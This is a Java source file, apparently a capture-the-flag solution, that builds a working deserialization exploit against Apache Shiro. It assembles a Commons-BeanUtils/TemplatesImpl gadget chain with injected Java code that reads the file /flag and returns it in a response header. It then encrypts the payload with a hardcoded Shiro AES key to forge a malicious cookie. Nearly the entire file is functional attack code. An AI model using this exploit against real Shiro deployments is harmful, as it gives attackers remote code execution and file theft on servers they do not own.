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| package org.example;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.objectweb.asm.*;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[ ] args) throws Exception {
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +
"Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +
"String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +
"resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";
Object cbGadget = getCbGadget(javaCode);
byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);
String s = doShiroEncryption(cbGadgetBytes, key);
System.out.println("Cookie length: " + s.length());
System.out.println("Cookie is: " + s);
}
public static byte[ ] base64Decode(String key) {
return Base64.getDecoder().decode(key);
}
public static String base64Encode(byte[ ] key) {
return Base64.getEncoder().encodeToString(key);
}
public static String urlEncode(String key) throws UnsupportedEncodingException {
return URLEncoder.encode(key, "UTF-8");
}
public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
byte[ ] key = base64Decode(keyInBase64);
byte[ ] iv = generateRandomIv();
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
Key keySpec = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[ ] encrypted = cipher.doFinal(content);
byte[ ] cipherText = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, cipherText, 0, iv.length);
System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);
return base64Encode(cipherText);
}
private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {
byte[ ] iv = new byte[16];
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.nextBytes(iv);
return iv;
}
public static Object getCbGadget(String javaCode) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(javaCode);
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static class Serialization {
public static byte[ ] serialize(Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(Object obj, OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
public static class Gadgets {
public static Object createTemplatesImpl(final String command) throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.makeClass("StubTransletPayload");
clazz.makeClassInitializer().insertAfter(javaCode);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[ ] classBytes = clazz.toBytecode();
classBytes = shortenClassBytes(classBytes);
byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));
Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
Reflections.setFieldValue(templates, "_name", "1");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
public static class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[ ] classAsBytes(final Class<?> clazz) {
try {
final byte[ ] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class Reflections {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
Permit.setAccessible(member);
} else {
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
public static byte[ ] shortenClassBytes(byte[ ] classBytes) {
ClassReader cr = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM7;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[ ] out = cw.toByteArray();
return out;
}
public static class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
}
}
}
|
